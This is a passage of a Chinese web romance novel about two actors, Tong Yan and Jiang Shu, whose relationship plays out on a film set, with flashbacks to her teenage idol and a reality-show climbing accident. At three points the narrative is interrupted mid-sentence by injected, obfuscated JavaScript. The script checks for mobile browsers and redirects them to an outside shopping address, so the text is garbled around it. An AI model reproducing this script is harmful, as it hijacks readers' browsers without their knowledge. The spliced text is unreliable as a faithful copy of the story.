周子墨听说江述要来《春天花会开》演男配，本来还有点不敢信，现在人都坐到跟前了，还有什么不信的。 一时间如坐针毡的，本来是个玩闹不拘的e人，这会儿突然也i起来了。 周子墨跟江述碰了一杯，说话很是拘谨：“述哥，您怎么会接男三这角色啊？” “听说原定的男三辞演了，戏份不重，正好我最近杀青，有点空闲时间。” 明白了，人家是看着导演面子，来友情出演的。 周子墨又端起酒杯敬他：“能跟述哥合作，是我的荣幸，以后还请多多指教啊！” “言重了，互相交流。” 两人说话的功夫，江述的余光一直注意着童颜。 她跟桌上两个女孩子聊的热络，脸前放着一排FOURLOKO果味鸡尾酒，时不时端起来闷一杯，仿佛一点也不在意他。 江述无声地叹了口气，瞧她脸蛋红扑扑的，直觉喝得差不多了，招手叫来服务生，说了两句话。 舞台上换了一首节奏感很强的歌，酒吧的气氛到了高潮，童颜一边晃着身体跟唱，一边去摸酒杯，却忽然发现，她的面前摆了一杯豆浆和一杯橙汁。 谁要来酒吧喝豆浆啊救命！ 童颜忍不住瞪了一眼江述。 这时，微信有人发消息，她扫了眼手机，下意识瞄江述。 江述恰在此时转头看过去。眼神交汇如蜻蜓点水，童颜不着痕迹地避开视线。 她将手机屏朝下扣在桌上，刚放稳，电话又响了，吓她一跳，拿起来一看，来电人的名字暴露在身侧人的视线里。 魏子铭。 童颜握着嗡嗡响的手机呆了两秒，接通电话，起身往包间外走。 从头到尾没有看江述。 过了几分钟，童颜返回座位，说她要先走，周子墨嚷嚷着：“这才几点啊，不在这跨年吗？” “不跨了喝多了，大家好好玩！”她晕晕乎乎地摆手，拎起包就走了。 童颜一走，江述也站起身来说：“今天的酒水我买了，大家继续吧。” 众人茫然地点头，眼睁睁看着俩人风一样的离开，不由面面相觑。 童颜在酒吧门口打车，忽被江述攥住了手腕，拖着她就往路边走。 “欸欸，你干嘛！” 她咋咋呼呼不肯跟他走，却没他力气大，到底把她塞到副驾上，系好安全带，然后转到另一边，打开车门坐进来。 “你酒驾啊！哪来的车？”童颜揉着手腕，皱眉。 江述好笑地瞥她一眼：“我滴酒没沾。车是租的。” 童颜噘着嘴不说话了。 江述发动车子上路，问她：“喝那么多，难受不难受？” 童颜歪坐着，嘴对着车窗玻璃哈气，在水汽里画一个心，反正就是不理他。 自己玩了一会儿，感觉无聊了，又摸出手机打开音乐播放器，开始放歌，《阳光彩虹小白马》，她跟着唱。 “你是最强哒最棒哒最亮哒最发光哒，拦不住你发芽……” “你是最好哒最俏哒最妙哒最骄傲哒，尽情地盛开吧……” 完全把这车当她的个人KTV，唱了一路。 偶尔手舞足蹈地扭，挡住了江述的视线，他就抓下她手，斥一句“安生点”，然后再也不松开了。 任凭童颜怎么使劲掰，就是掰不开。 约么十几分钟后，车在艾美酒店前停下。 童颜一愣：“欸？这不是剧组酒店。你带我来这干嘛？”说着就开门下车。 江述抓着她手，不疾不徐地说了句：“我不介意跟你去剧组酒店，你选吧。” 他威胁她。 要么跟他进去，要么就回剧组酒店，到时候闹起来，大家都知道他们的关系。 童颜憋气，抬脚胡乱踢了一下。 江述掏出房卡给她：“你先上去，我去停车。” 童颜墨迹了一会儿，恨恨地夺过房卡，戴好口罩和帽子，下车进了酒店。 过了几分钟，江述进入房间，看见她呈大字状趴在床上，不由笑了笑。 他走到床边坐下，拍了拍她的背。 “起来。” 童颜拍了一天戏，又喝了酒，这会儿累得不行。江述定的是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464627|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家酒店的总统套房，比她在剧组住的房间舒服太多了，一沾床，感觉骨头都酥了，根本不想起。 “为什么生我气？”江述问。 童颜背过脸去，不想搭理他。 江述长臂一伸，捞抱住她腰，把她拖起来。 童颜腰上肉肉敏感，江述一碰她就痒。偏偏有人知道她这特点，故意掐捏她，痒得她咯咯笑着躲，边叫边打他。 “你起开别碰我！” 冷脸是再也装不下去了。 江述将她抱坐到腿上，死死按在怀里，说：“别乱动，让我好好看看你。” “你谁呀，凭什么给你看？”她故意怼他。 江述没理会她这话，眼神定定地凝在她脸上，似看痴了。 童颜被她盯得心砰砰直跳，偏没处躲，只好垂下眼睛，抓着他衣襟不说话了。 “想我了吗？”他问。 童颜嘟着嘴。酒气还没散，脸蛋酡红，像个年画娃娃。 江述再也无法克制，捧起她的脸，径直吻上了日思夜想的唇，他狠狠地碾压，吮弄，气势凶得像是要吃掉她。 大掌扣在她脑后，粗/重又混乱的喘XI扑在人中处，童颜很快就喘不上气了，拿手捶着他胸口，试图让他松一松，可江述这会儿神志不清，只顾安抚自己奔突狂乱的心，用力的撕咬她、惩罚她。 童颜又羞又急，搂着他脖子晃了晃，他身形一僵，嘴也松开了。 童颜忙偏脸躲开他，大口喘气平复心跳。少顷转回头，亮晶晶的眼睛里聚着两簇小火苗。 “江述！你什么时候学会抽烟了，嘴巴臭死了！” 江述没想到她会来这么一句，呆了下，有些尴尬地撇开眼。 “还有，我们分手了，你这样礼貌吗你！”童颜继续说。 江述眉心微微一攒，显出几分怒意：“谁同意分手了？” “管你同不同意！反正我单方面通知你了。” 她气呼呼地说了一句，手臂却仍环在他颈后。江述自然不会提醒她。 盯了她几秒，好气又好笑地说：“你在国外待了两年零十个月，出国前你是怎么答应的？说到出国前，你摆我一道我还没跟你算账，你这小骗子，又生的哪门子气？！” 他越说越上头，手掌不轻不重地拍了她一巴掌。 童颜捂着屁股，一脸震惊地看他：“你还敢打我？！这是家暴，我要报警！”她说着就要起身下地。 江述抓住她手臂，又送回他颈后。 “安生点！再闹你看我怎么治你！” “你做错事不道歉还凶我，这日子没法过了！”她演戏演上瘾了，越说越代入情绪，一砸摸，好像真有点委屈，“起开起开，我回剧组酒店！” 江述一个没捞住，被她钻空子逃下地，穿上拖鞋真要走。 他忙站起身一把拽住，扯回怀里，从背后圈紧她，说：“童颜，你知道我现在什么心情吗？心疼心疼我，别作了，乖一点，让我抱会儿吧。” 低沉的嗓音里带点疲惫的沙哑，好像在跟她求饶。 童颜顿时没了气势，默默抠他手指关节，不说话了。 5. 偶像 两人就这么站着，没多大会儿，童颜就脚麻了，想说让他坐到床上，还没开口，手机又震动了。 她掏出来看了眼，急忙按熄了屏幕。 可惜背后的人已经看见了。 “他找你做什么？你跟他说了什么？” 追究爬墙的伴侣一样，江述冷幽幽地问了一句。 童颜本来有点心虚，听他这么说，忽然想起一事。 从北京来厦门的飞机上，她闲得无聊，翻出星芒之夜的红毯回放视频，看到江述和一个女明星一起走红毯。 那女孩裙子太长，一不小心踩住了裙摆，差点摔跤，幸好江述扶了一下，两人挨得很近，女孩不知道跟他说了句什么，江述也回了几句。 那个英雄救美，眉目传情的桥段，看得童颜直想钻进屏幕里打人。 这会儿他倒有脸追究她了，哼！童颜不想让他好过，故意轻描淡写道：“没做什么，也没说什么。” 江述一时没出声。 童颜忍不住又补刀：“前几天心姐还嘱咐我，让我别再招惹你，我就该听她的。” “我相信你做得出来。毕竟你对我，一直都挺狠心的。”他默了片刻说。 童颜瞬间哑声。 类似的话，她一共听江述说过三次，最早一次是在四年前。 彼时她万念俱灰，像被抽干了阳气的尸体，躺在床上，连眼睛都没力气动一下。 江述坐在床边，抚着她的脸，惨笑着说：“你为一个不值得的人，不要我……你竟然敢，让我再也见不到你。童颜，你真够狠心的……” 不值得的人。 若不是今晚那个突如其来的电话，她本不愿再想起，和魏子铭有关的一切。 * 记忆里2018年的夏天，格外的绚烂梦幻。 收到魏子铭的微信添加提醒时，她正窝在江述家沙发上看剧本。 那时她主演的网剧《公主请自重》正在热播，剧集热度和女主话题度高得出乎预料，每天都有热搜霸榜，各种动图、表情包物料疯狂扩散，这部网剧成了年轻群体的社交密码。 童颜，红了。 从一个鲜有人知的十八线小明星，一夜之间火遍全网，有了自己的代表作和粉丝群。 这些成就跟大咖相比不值一提，但对没见过世面的童颜来说，那简直就是天降奇迹。 短短半个月，她就收到了十多个剧本。 入行五年，第一次真正拥有了选择权，她每天都开心得像捡了钱，精力爆棚，工作再多都不觉得累，收工回家就认真看剧本，最后在两个本子之间拿不定主意，就去找江述寻求建议。 她在横店跟江述租住同个小区、同一栋楼，都是春景苑23号楼，她住二单元十层，江述在四单元八层。 两人是“没事互不打扰，有事开门见山”的朋友关系，偶尔也去对方家里借点东西、蹭个饭——主要是她蹭江述。 盛夏时节，童颜顶着大中午的烈日过来，一进门就嚷嚷：“你家空调是不是坏了，怎么都不凉快，降点温度，热死了！” 江述关上门，捡起沙发上的遥控器丢给她：“自己调。” 房子是个两居，次卧被改造成了画室。童颜来之前，江述正在画画，手上沾染了油彩，他去卫生间洗过手，从冰箱里拿出一瓶矿泉水，放在茶几上，就又进去画画了。 童颜拿着遥控器哐哐一顿按，从26℃降到20℃，然后跑到空调底下，对着出风口吹。 “我最近在看剧本，有一个古装剧的女二，和一个现代剧女主。心姐建议我选古装，我还是倾向现代剧，想问问你的看法。” 江述坐在画架后面，正对门口，左手端着油彩，右手执笔涂抹，闻声头也没抬：“展开说说。” “古装女二这角色，是个高门大族的嫡女，跟男主角是青梅竹马的恋人，后来家族发生变故，两人被迫分开了，女二肩负重振家族的责任，男主也高中状元做了官。几年之后，女二为家族翻案，跟男主重逢，两人立场不同，斗得你死我活，不得已做了一些坏事，最后被男主杀了。这个角色有点偏反派，但不是那种彻头彻尾的坏人，人设还挺出彩的。” “男主定了吗？” “还没有。”童颜拧开瓶盖喝了口水，盘腿窝在客厅一角的单人沙发上，“但是据说会定超一线大咖。” 江述搁下油彩盘，问：“现代的呢？” “一个奇幻偶像剧，男主是霸道总裁，女主是他手底下的吗喽，天天被上司虐，人生梦想就是收购公司，当男主的老板。结果两人出了一场车祸，意外穿越到了平行时空，女主变成了大BOSS，男主是个穷打工的，女主把男主狠虐了一顿，中间发生了一些搞笑的事，彼此的了解逐渐加深，后来女主的公司遇到了危机，在男主的帮助下力挽狂澜，两人就在一起了。大概就这么个故事，男主定了，是廖俊辰，就你上部戏的男主，他也挺火的。” “你为什么倾向现代？” “剧情有意思、制作团队靠谱，男主流量也不错，我预感播出效果应该不差。” 童颜从冰箱里扒拉出几颗小番茄，到厨房洗干净，边啃边走去画室，靠在门框上看江述画画。 “要是你，你会选哪个角色？” “古装吧。”江述想了想，“你刚才也说了，女二人设丰满，有成长线，可塑性比较强，男主如果定超一线大咖，就是奔S级以上配置去的，播出效果和角色高光都不会差。现代剧虽然市场受众更广泛，但这两年有不少同类型的剧，要演出特色，有一定难度，听你的描述，剧情高光大多在男主身上，女主人设相对扁平。” 他说着语声顿了顿，抬眼瞥她。 “其实你也知道古装这角色更好，之所以拿不定主意，是嫌拍古装累，而且不是女主角吧。” 被人当面拆穿，童颜有点尴尬，恼羞成怒地冲他丢了颗小番茄。 “你家冰箱怎么什么吃的都没有啊！饿死了……” 江述随手接住，放下画笔，站起身往外走，经过童颜身边时，顺势把番茄塞进了她嘴里。 “我这不是餐厅。” 童颜瞪了他一眼，回沙发上窝着去了。 “听人劝，吃饱饭。既然你跟心姐都说好，那就定古装吧。” 童颜给林慧心发微信，说了她的选择，然后翻出电子剧本，打算再好好看一遍。 江述在厨房做饭。 冰箱里有几棵青菜，和番茄一起翻炒几下，加水，打个荷包蛋，水开了下入面条，两滚出锅。 他盛出两碗，喊童颜来吃。 她应声过去，坐下边吃边看手机。 江述瞟了她好几眼，童颜不抬头。方才喊饿的人，这会儿吃的却慢，筷子扒拉半天才吃了半碗。 江述吃完，把自己的碗洗了，走到客厅的电视柜，拿起上面放的一个白色盒子，走回童颜身边，正要开口，被她一声惊呼打断了。 “天呐！”童颜一脸惊喜地丢下筷子，把手机举到他面前，“魏子铭！魏子铭加我微信！” 江述愣了下，将盒子搁到桌上。 “是吗。” “嗯嗯嗯！”童颜疯狂点头，“我即将拥有偶像的微信了！江述，你能明白我此刻的心情吗……” 她深吸口气，慎重地点了接受。 聊天界面显示“对方正在输入”，童颜不眨眼地盯着，手指有点抖，呼吸都放轻了。 MING：「你好，童颜。」 “我该说点什么？发个表情吧，发表情总不会错。”童颜点开收藏的表情库，选了一个可爱的表情包。 不开美颜：「开心」 MING:「听说你要出演《玉京第一春》，期待合作。」 童颜盯着这句话呆了好一会儿，才反应过来是什么意思。 “啊啊啊啊啊啊啊啊！！！”她激动地丢下手机，跳起来抓住江述胳膊晃，“我刚跟你说的古装剧，《玉京第一春》，男主定了魏子铭！超一线大咖魏子铭！我喜欢了十多年的人啊啊啊啊啊啊啊，天呐江述江述……” 童颜整个人陷入了癫狂的状态，亮晶晶的眼睛里满是笑意。 江述不忍扫她的兴，却也找不出敷衍的话。 于是面无表情地说了一句：“你牙上沾了菜。” 童颜的笑容僵了僵，气咻咻推了他一把：“你好烦啊！”然后抓起手机跑了出去。 大门砰的一声撞上了。 江述盯着玄关的方向，沉默地站了许久。 餐桌上的白色盒子显得很突兀，他打开盒盖，里面放着一个高脚玻璃杯，杯中插着玻璃吸管，杯体是心脏形状，在光的照耀下不断变换色彩。 童颜最喜欢收集这种奇形怪状的玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那年魏子铭17岁，少年白净清秀，个子高高的，在台上演话剧《惊雷》，情绪饱满、字正腔圆，她不自觉被吸引，离场时特意看了门口的演员表，知道了他的名字。 后来童颜上了初中，因为长得好看，很多男生示好，女生却不太喜欢跟她结伴，她便经常独来独往。 有一次放学，路上被一个女生拦住，那女生画浓黑的眼线，涂唇彩，经常逃课、打架，大家私下叫她敏君师姐——就是灭绝师太手下那位嚣张跋扈的大师姐——由于绰号太过深入人心，以至于童颜都记不清她本名叫什么。 敏君师姐身边还跟着三个女生，他们逼问她跟班上一个男生的关系。她才说了一个“同学”，就被扇了一巴掌。 接着几人连推带搡，把她堵在墙角打了一顿，一通警告加威胁后，四人扬长而去。 她不敢回家，怕姨妈看到伤会问，一个人在街上逛了很久很久，最后走到了国家话剧院。 姨妈给她办了年卡，她刷卡进去，随意找了个演出厅坐，麻木地坐到谢幕，观众都走了，她还在座位上。 这时，魏子铭从后台出来，发现了的她。走过来问：“同学，演出结束了，你……”似乎发现了她颧骨上被指甲刮出来的伤，他愣了一下，“有人欺负你了吗？” 她呆望着他，没有回答，却说：“你能给我签个名吗？” 魏子铭有点意外：“我又不是什么大明星……”他本想拒绝，但可能是她的样子太可怜了，犹豫片刻，他还是同意了，“行吧，你不嫌我字丑就好。” 她忙从书包里掏出作业本，翻到最后一张空白页，把笔递给他说：“签在这吧。” 魏子铭蹲下身，将本子放在膝盖上，慎重地，一笔一划地写下了自己的名字。 她看着那名字，突然间开心了。收好笔和本，放进书包里，对他说了声“谢谢哥哥”，然后背上书包离开了演出厅。 童颜脸带笑意跟林慧心讲完自己的事，最后给出了一句话总结。 “有时候喜欢一个人，毫无来由的。我喜欢魏子铭，不仅因为他的性格、长相、演技、成就，而是因为，他这个人的存在，就是美好本身。” “啧啧啧……”林慧心拍手感叹，“多么深刻的一番话！这还是我家那胸无点墨的花瓶女明星吗？” 童颜一秒变脸：“叫谁花瓶呢！女明星上进中勿扰！” 林慧心哈哈笑：“我去催催合同……对了，江述也进这个项目了，你知道吧？” “啊？！”童颜满脸惊讶，“我最近都没顾上跟他联系……是哪个角色？” “你师兄，洒江天。” “……” 6. 亏欠 一个月后，夏季进入尾声，《玉京第一春》也正式开机了。 男主庄瑾是魏子铭，女主云茹月定了孙艺涵，二人同属追光影业旗下艺人经纪公司。 童颜对孙艺涵了解不多，只知道她是演偶像剧走红的，背靠追光这棵大树，资源不差，这两年经常无缝进组，是娱乐圈出了名“拼命三娘”。 剧组相处几天下来，挺愉快。 进组第十天，有一场重头戏。 女二风潇潇刺杀男主庄瑾，却误伤女主云茹月，遭两人护卫围剿，被突然赶到的师兄洒江天救出。 第一镜童颜需要吊威亚，从空中俯冲向魏子铭，接着被他拍中肩膀，后空翻倒退几步。 动作导演指导完，两人试了一次，没什么问题。正式演出时，童颜后空翻被绳子绊了一下，第二遍就顺利过了。 接下来，庄瑾拉着云茹月左躲右闪，打斗动作越来越复杂，三个人从一大早拍到快中午，终于过了。 休息时间，童颜在一旁补妆。 虽说暑气消退，毕竟还是夏天，吊着威亚翻上翻下一上午，童颜从头到脚都被汗湿透了，这会儿就像个燃烧的火球，呼出来的气都是烫的。 举着小风扇对脖子吹了会儿，悄声跟助理乔乐说：“你去帮我买个云南白药，放车上。” “啊……颜姐你……” 乔乐一脸惊讶，被童颜“嘘”声制止了，于是点点头，转身跑了。 摄制组调好了设备，准备开下一个镜头，这时，孙艺涵突然说：“导演，不对呀！” “哪里不对？”导演钱德望问。 “您想，云茹月虽然是不谙世事的公主，但她聪慧机敏，在这场戏里，她应该第一个发现有人刺杀，大喊一声提醒庄瑾。接下来的打斗戏，她也不能只是闪躲。庄瑾是她的心上人嘛，云茹月应该不顾一切为他挡箭，这样被刺中，才比较合理吧。” 钱导说：“女主的聪慧机敏，主要表现在接下来的朝堂权谋戏。刺杀这里，还是有武功的人更敏锐。这时候女主对男主还没到以命相护的程度，尤其她还是尊贵的公主，第一次面对这样的打斗场面，应该很受惊。” 孙艺涵皱眉，显然没有被这个解释说服。 “可是现在的剧情，云茹月好像一个工具人哦！您说男女主感情还不到位，那这场戏可以作为一个转折点，女主在危险情境里，下意识保护男主，这样才更好磕嘛！而且感情戏的节奏也加快了。现在的观众都没有耐心的……” 钱德旺捏着下巴沉吟片刻。 在他看来，这场戏的戏眼在风潇潇和庄瑾彻底决裂，不在云茹月身上，改了反而画蛇添足。但……多一种可能性也不错。 “那这样，咱们备一场，后期再看节奏怎么样更好。”钱导说着拍了拍魏子铭的肩，“辛苦了。来来各就位，大家加油啊，这场完了休息！” 所有器材恢复原状，重拍这场戏。 原以为有了上午的拍摄经验，第二次应该会很顺利，然而，情况却出乎意料。 先是童颜俯冲的戏，孙艺涵本该在合适的时候转头，发现背后的剑大喊。实际拍摄中发现，孙艺涵转头的时机很难把控。 有时她转头早了，童颜还没到魏子铭跟前，无法接下他那一掌；有时转晚了，童颜接掌的动作就会很仓促。 如此几番磨合下来，光这一镜就拍了六条，童颜在空中飞得晕头转向，一身的汗。 接下来云茹月为庄瑾挡箭，仍然是状况百出。一直到下午两点，整场戏才终于过了。 剧组开始放饭，童颜回到了车里。 身上的衣服有六层，挨身的两层已经湿透了，她把外袍脱下来，摊在沙发上歇了一会儿，稍微缓过来点。 乔乐去领盒饭了，童颜撸起裤腿，看膝盖上的伤。 上午后翻时，她不慎撞上了铁架，落地缓了一会儿，感觉问题不大，就跟工作人员说没事，折腾了一上午，这会儿伤处青紫一大片，疼得火烧一样。 童颜打开云南白药的盒子，正要喷药，忽然有人敲车门。 她以为乔乐回来了，弹跳着过去打开门，发现是魏子铭。 魏子铭视线移到她裸着的小腿，蓦地皱眉：“怎么伤的这么重？”说着走上车，曲起一条手臂，示意童颜扶着。 原本经过一个多月的线上聊天，加上十天来剧组相处，童颜面对魏子铭时已经很自然。 但那仅限工作沟通，眼下是什么情况？ 她被偶像一路搀扶着，护送到座位上，温和的声音问：“很疼吧？要不要去医院看看？” 有一瞬间，魏子铭的脸，距离她只有几寸远，她整个人懵逼成一个傻子，甚至都忘了回话，只是愣愣地摇头。 “不疼？还是不要去医院？” 魏子铭坐到她身旁，话中带一丝打趣，似乎觉得她现在呆呆的样子好笑。 “没事。不用，不疼，不去医院。” 说的是什么啊……一整个语言混乱，童颜懊恼得想死。 她还是喷药吧。 魏子铭靠在对面的吧台桌边，笑着说：“你微信上，比现实中活泼一些。” “……偶像包袱很明显吗？” 魏子铭挑了挑眉，似乎没想到她会这么说。 童颜心想，他应该是误会了，于是解释说：“见到偶像，我有包袱。” 魏子铭笑出声：“这可不行，庄瑾和风潇潇曾经是青梅竹马的恋人，你见到我有包袱，这状态不对。” 童颜立马端正了神色：“我记住了，后面的戏会注意的。” “放松点，我开玩笑的。”魏子铭认真说，“你跟同龄相熟的朋友，都是怎么相处的？” 童颜想了想，往沙发靠背一摊，下巴抬了抬，颐指气使说：“魏子铭，给我拿瓶水。” 空气有片刻的凝固。 童颜说完脸就麻了，这太大逆不道了。 都怪江述这人平时太无拘、太随意了，搞得她也没什么形状……现在怎么办？ 在魏子铭略带惊奇、饶有兴致的注视下，童颜慢慢坐正了身形，往回缩了缩脚，试图说点什么缓解气氛。 “我……” 她嘴刚动，魏子铭已经打开冰箱，从里面拿出一瓶矿泉水，说：“这次对了。”水递到她手里，指了指冰袋，“敷得差不多了，涂药吧。吃完饭休息一会儿，我去跟导演协调下，把你的戏往后挪一挪。” “不用不用，我可以拍……”童颜连忙摆手拒绝。 “听话。”魏子铭神色不容置喙，“这不是特殊照顾。你伤着腿，如果立刻进打斗戏，说不定更影响进度，是不是？” 童颜私下看偶像剧时，最受不了男主对女主说“听话”。 在她看来，这个词隐隐约约带着一些控制欲、俯视感，让她不适，以至于每次听到都忍不住长长地“咦”一声，尴尬症发作。 仿佛女主变成了一只猫，或者一只狗。 但在此刻，听到魏子铭对她说“听话”，童颜下意识缩了缩脖子，仿佛她也变成了一只猫，正被主人轻轻地抚摸颈后的皮毛。 她并没有感到任何不适，只是温顺地说：“哦。” * 童颜吃完饭，乔乐回来了，说导演批准了，先拍魏子铭单人的戏，让她休息会儿。 话虽如此，她还是于心不安，在车上歇了二十分钟，就回棚里去了。 钱导跟她确认没问题后，让助理去叫孙艺涵。 接下来这场戏，是庄瑾打退风潇潇，抱着倒地的云茹月，侍卫赶来救主，风潇潇陷入包围被砍伤，这时，师兄洒江天出现，将她救走。 江述已经来了。 他身穿黑色圆领窄袖袍，腰系革带，足蹬黑靴，怀抱一柄长剑，挺拔地站在场边等候。 童颜笑嘻嘻走过去，环抱双臂，绕着他上下打量。 “啧啧，师兄，英气逼人啊！你说风潇潇为啥看不上你，死活揪着庄瑾不放？” 江述瞥她一眼，意味深长地说：“她眼瞎。” 童颜气得打了一巴掌：“烦人！” 江述抬脚一勾，将身旁的折叠椅拖过来，冲她抬了抬下巴。 “算你有良心。”童颜毫不客气地坐上去，“我跟你说，我现在又累又饿，还身负重伤，特别惨，收工后我需要吃点好的，但我在减肥……你上次做的那个豆腐煲不错，热量也不高，很适合减肥人士，你懂我意思吧？” 江述无语：“我欠你的？” 说完想了想，还真是欠她。 认识童颜，在四年前，也是他入行的第二年。 那时候他接的戏，全都是贩夫走卒、护卫家丁之类的角色，大多数情况下，只需要充当工具人，台词都很少，一部剧下来存在感几乎为零。 就这么混了两年，认识了一些圈里的朋友，偶尔有好机会，大家愿意想着他，也因此参加了一档户外探险真人秀节目。 那档节目邀请了十几个明星艺人，其中就有童颜。一行人要穿越荒野和丛林，到达最终目的地，这期间会遇到各种突发状况。 他平时就喜欢户外运动，是所有嘉宾里野外生活经验最足的，录制才几天，大家就把他当成了主心骨。 但他为人实在寡淡，没什么综艺感，除非必要，不往人堆里和镜头前凑。 童颜就不同了，她好像有一种天赋，无论遇到什么人、什么状况，她都不怯场，走到哪热闹到哪，有时说了冷笑话，别人不笑，她也不尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464629|141838||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，和谁都没有距离感，仿佛她的人生使命就是交朋友一样。 她见他总是一个人待着，可能觉得他孤单，就常常主动找他说话。一来二去的，即便他不是喜欢社交的人，也和童颜建立了微妙的默契。 录制到后半程，节目组为了增加看点，设置了更加刺激的挑战环节，徒手攀岩。由于他是嘉宾中运动经验最丰富的，自然而然被大家推举为挑战者。 他认真研究了山岩的险峻程度，觉得可以一试，于是决定接下了这个挑战。 童颜却对这个环节很有意见。虽然有保护措施，风险还是太高了，万一绳子断了，万一石块滑落呢？ 但她人微言轻，无法左右节目组的安排。无论如何，他开始攀登了。 前三分之二的路线里，有几个惊心动魄的时刻，但都顺利通过了。到最后一段时，岩体呈九十度耸立，表面着力点极少，难度直接拉满。 通过镜头观看实时的嘉宾连连惊呼，都认为是不可能完成的任务。 此时距离地面已有四十米，节目组让他选择放弃，还是继续。如果放弃，获得的奖励减半，如果成功登顶，则奖励翻倍。 他没有过多考虑，手指抠着仅有3厘米宽的缝隙，脚下小心腾挪寻找着力点，全神贯注，向着峰顶攀登了。 所有嘉宾都屏住了呼吸。 据童颜后来说，她当时出了一头的冷汗，双耳都在嗡鸣。 在众人紧张刺激的期待中，他马上就要登顶，这时，意外发生了。 手指突然打滑，身形不稳，以至脚下踩空，他整个人直直往下坠落， 观察室里的嘉宾集体尖叫。好在有安全绳绑在背后，尽管如此，他还是在空中转了几个圈，后背直直撞上了一处岩角。 童颜拔腿就往工作人员的屋子跑，强烈要求节目组暂停这项活动，她甚至一把抢过导演组的对讲机，焦急地冲他喊：“你别爬了江述，快点下来，我们不要奖励了！” 当时他荡在深秋的高空中，风呼呼吹着，身上的汗吹成冷的，心里却感到一阵暖。 节目组在征求他的意见，他略作考虑，决定继续。 安全绳摆荡的幅度逐渐减小，他在岩体上稳住了身形，手伸进腰间挎包里，抓了一把滑石粉，继续向上攀爬。 赶在气力耗尽之前，他成功登上了山顶。 透过对讲机，满耳的欢呼声中，听见童颜带着哭腔的骂骂咧咧：“江述，你他妈真是个神经病……疯子……” 那天，他一个人站在山顶，看完了整场日落。 下山后被童颜一个劲儿地数落，边数落边上手。 他莫名想逗她，于是说：“小点劲儿，我还伤着呢。” 这下真把她吓住了，急忙问在哪，他指了指腰后。 医生来给他处理了撞伤的地方，是软骨质挫伤，看着青紫一大片，没伤到筋骨。尽管如此，第二天还是疼得难以下床了。 一行人在酒店多住了一天，到了第二天，节目组要继续往下走，问他能不能行，他撑着腰起来，走了两步，感觉腰和腿脱节了，后腰一大片都是麻木的。 童颜见状，强烈建议再休一天，PD面露难色，说要讨论一下。 毕竟这么一大帮人，多耽搁一天，就要烧掉不少经费，本身预算也不多。 最后，节目组提出让他再休息几天，留两个工作人员照顾他。童颜当即表示，要留下来陪他。 他有点感动，其实不想拖累她，但不知怎么，拒绝的话到了嘴边，没说出口。 接下来，童颜不仅照顾他吃喝，还跟他说笑解闷，工作人员换药时，她也在一旁看着，赶她才走。 休养了三天，他的腰伤好多了，童颜松了口气，打趣他说：“江述，我们这也算过命的交情了吧？滴水之恩，以后要涌泉相报，懂不懂？” 他当时笑了一下，说：“过谦了，这是涌泉之恩，要江海相报的。” 节目结束后，其他嘉宾都做鸟兽散，唯有童颜，仍然和他保持着联系。 这几年，他逐渐能接到不错的配角了，童颜也越来越有名气，两人的联系并不频繁，但无论经历多少人，多少事，也无论他们多久不见面、不说话，心里都将对方当做可靠的朋友。 所以，他欠她的。 即便她不要，他也是会“江海相报”的。 “除了豆腐煲，还想吃什么？”江述问。 童颜目露惊奇，没想到他答应得这么爽快。 江述神色淡淡：“食材一道买了，省得你大小姐突发奇想，我还得临时采购。” 童颜笑起来，傲娇地扬起下巴。 “就那什么深海鱼啊、虾啊，高蛋白低脂肪的，你看着买吧，我不挑的！” 7. 雨伞 二人闲聊片刻，孙艺涵进棚了。她似乎有些不快，沉着脸皱着眉。 童颜想，别是因为自己吧，于是走过去挽住她手臂，抱歉地说：“艺涵姐，我刚刚腿有点疼，导演把后面的戏往前挪了，有没有打乱你的安排呀？对不起啊……” 孙艺涵短促地笑了下，说：“没事，托你的福，我还多歇了会儿。” 这话，有点奇怪，但童颜也没深琢磨，赶紧先按导演的指示就位了。 第一镜是庄瑾和风潇潇的打斗戏，一条过。 第二镜是庄瑾和云茹月对话，也比较顺利。 接下来护卫加入，开始群斗。这个镜头出场人物比较多，导演调整了好几次。每次重来，云茹月都得维持吐血晕倒的姿势，倒在庄瑾怀里，到后来，她有点撑不住了。 “导演，我腰不太行了，能不能让替身来啊？反正我的镜头都是远景。”孙艺涵娇声细气说。 钱导摇头：“远景也会露脸，容易穿帮。再坚持坚持。” 孙艺涵不满地撅起嘴，回到原位躺下。好在又拍了一条就过了，云茹月在这场戏里的任务已完成，助理扶着她回车上去了。 今天的最后一场戏，洒江天救风潇潇。 风潇潇胸口被刺了一剑，勉励支撑着突围，洒江天帮她杀了几个近身包围的护卫，撕开一条口子，然后转头冲庄瑾杀了过去。 擒贼先擒王。 护卫果然被吸引过来，开始与洒江天缠斗。 洒江天目光如炬，追着庄瑾一路砍杀，最后刺中了他的后心，在护卫队形大乱时，搂着风潇潇的肩飞走了。 整场戏顺利得出乎意料。 钱导非常满意，拍着江述的肩说：“像练过的。” 魏子铭也赞叹：“尤其是空翻那两个动作，很漂亮。” 江述颔首笑：“谢谢。” 童颜冲他挤眼，肩膀轻轻撞上去：“心里美了吧！” 